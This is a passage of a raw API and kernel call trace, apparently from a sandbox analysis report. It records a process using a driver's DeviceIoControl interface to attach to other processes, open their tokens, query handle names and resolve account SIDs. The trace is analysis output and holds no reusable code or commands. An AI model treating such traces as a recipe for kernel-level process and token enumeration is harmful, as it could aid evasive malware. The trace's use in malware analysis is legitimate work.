SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.016] CloseHandle (hObject=0xc8) returned 1 [0133.016] CloseHandle (hObject=0xc0) returned 1 [0133.016] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.016] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.016] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.016] PsAcquireProcessExitSynchronization () returned 0x0 [0133.016] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880050005d0) [0133.016] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002097e10, HandleInformation=0x0) returned 0x0 [0133.017] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.017] PsReleaseProcessExitSynchronization () returned 0x2 [0133.017] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0133.017] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.017] ObfDereferenceObject (Object=0xfffffa8002097e10) returned 0x1 [0133.017] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.017] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.017] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.017] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0133.017] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.017] PsAcquireProcessExitSynchronization () returned 0x0 [0133.017] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880050005d0) [0133.017] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002099260, HandleInformation=0x0) returned 0x0 [0133.017] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.017] PsReleaseProcessExitSynchronization () returned 0x2 [0133.017] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0133.017] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.017] ObfDereferenceObject (Object=0xfffffa8002099260) returned 0x1 [0133.017] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.017] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.017] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.018] PsAcquireProcessExitSynchronization () returned 0x0 [0133.018] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880050005d0) [0133.018] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.018] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.018] PsReleaseProcessExitSynchronization () returned 0x2 [0133.018] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0133.018] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.018] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.018] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.018] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.018] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9d0) returned 0xc0 [0133.018] ObOpenObjectByPointer (in: Object=0xfffffa800205b100, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.018] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x12 [0133.018] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0133.018] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.018] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.018] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.018] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.020] CloseHandle (hObject=0xc8) returned 1 [0133.020] CloseHandle (hObject=0xc0) returned 1 [0133.020] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.020] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.020] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.020] PsAcquireProcessExitSynchronization () returned 0x0 [0133.020] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880050005d0) [0133.020] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020ab970, HandleInformation=0x0) returned 0x0 [0133.020] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.020] PsReleaseProcessExitSynchronization () returned 0x2 [0133.020] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0133.020] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.020] ObfDereferenceObject (Object=0xfffffa80020ab970) returned 0x1 [0133.020] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.020] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.021] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0133.021] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.021] PsAcquireProcessExitSynchronization () returned 0x0 [0133.021] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880050005d0) [0133.021] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a3ddd0, HandleInformation=0x0) returned 0x0 [0133.021] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.021] PsReleaseProcessExitSynchronization () returned 0x2 [0133.021] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0133.021] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.021] ObfDereferenceObject (Object=0xfffffa8001a3ddd0) returned 0x1 [0133.021] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.021] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.021] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.021] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.021] PsAcquireProcessExitSynchronization () returned 0x0 [0133.021] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880050005d0) [0133.021] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.021] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.021] PsReleaseProcessExitSynchronization () returned 0x2 [0133.021] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0133.021] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.021] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.021] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.021] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.021] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9e0) returned 0xc0 [0133.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.021] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002044060, HandleInformation=0x0) returned 0x0 [0133.022] ObOpenObjectByPointer (in: Object=0xfffffa8002044060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.022] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x12 [0133.022] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0133.022] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.022] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.022] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.022] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.148] CloseHandle (hObject=0xc8) returned 1 [0133.148] CloseHandle (hObject=0xc0) returned 1 [0133.148] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.148] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.148] PsAcquireProcessExitSynchronization () returned 0x0 [0133.148] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880050005d0) [0133.148] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800201e6a0, HandleInformation=0x0) returned 0x0 [0133.148] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.148] PsReleaseProcessExitSynchronization () returned 0x2 [0133.148] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0133.148] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.148] ObfDereferenceObject (Object=0xfffffa800201e6a0) returned 0x1 [0133.148] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.148] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.148] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0133.148] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.148] PsAcquireProcessExitSynchronization () returned 0x0 [0133.148] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880050005d0) [0133.148] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002091a90, HandleInformation=0x0) returned 0x0 [0133.149] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.149] PsReleaseProcessExitSynchronization () returned 0x2 [0133.149] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0133.149] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000508) returned 0x0 [0133.149] ObfDereferenceObject (Object=0xfffffa8002091a90) returned 0x1 [0133.149] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.149] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.149] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.149] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.149] PsAcquireProcessExitSynchronization () returned 0x0 [0133.149] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880050005d0) [0133.149] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.149] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.149] PsReleaseProcessExitSynchronization () returned 0x2 [0133.149] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0133.149] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0133.149] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.149] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.149] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.149] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9f0) returned 0xc0 [0133.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.149] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020cf460, HandleInformation=0x0) returned 0x0 [0133.149] ObOpenObjectByPointer (in: Object=0xfffffa80020cf460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.149] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x12 [0133.149] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003637880 | out: TokenHandle=0xfffffa8003637880*=0xc8) returned 0x0 [0133.149] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.149] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.150] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.150] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.151] CloseHandle (hObject=0xc8) returned 1 [0133.151] CloseHandle (hObject=0xc0) returned 1 [0133.151] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.151] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.151] PsAcquireProcessExitSynchronization () returned 0x0 [0133.151] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880050005d0) [0133.151] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020cfd90, HandleInformation=0x0) returned 0x0 [0133.151] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.151] PsReleaseProcessExitSynchronization () returned 0x2 [0133.151] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0133.151] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.151] ObfDereferenceObject (Object=0xfffffa80020cfd90) returned 0x1 [0133.151] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.152] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.152] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0133.152] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.152] PsAcquireProcessExitSynchronization () returned 0x0 [0133.152] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880050005d0) [0133.152] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020d2f20, HandleInformation=0x0) returned 0x0 [0133.152] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.152] PsReleaseProcessExitSynchronization () returned 0x2 [0133.152] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0133.152] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.152] ObfDereferenceObject (Object=0xfffffa80020d2f20) returned 0x1 [0133.152] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.152] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.152] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.152] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.152] PsAcquireProcessExitSynchronization () returned 0x0 [0133.152] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880050005d0) [0133.152] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.152] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.152] PsReleaseProcessExitSynchronization () returned 0x2 [0133.152] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0133.152] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 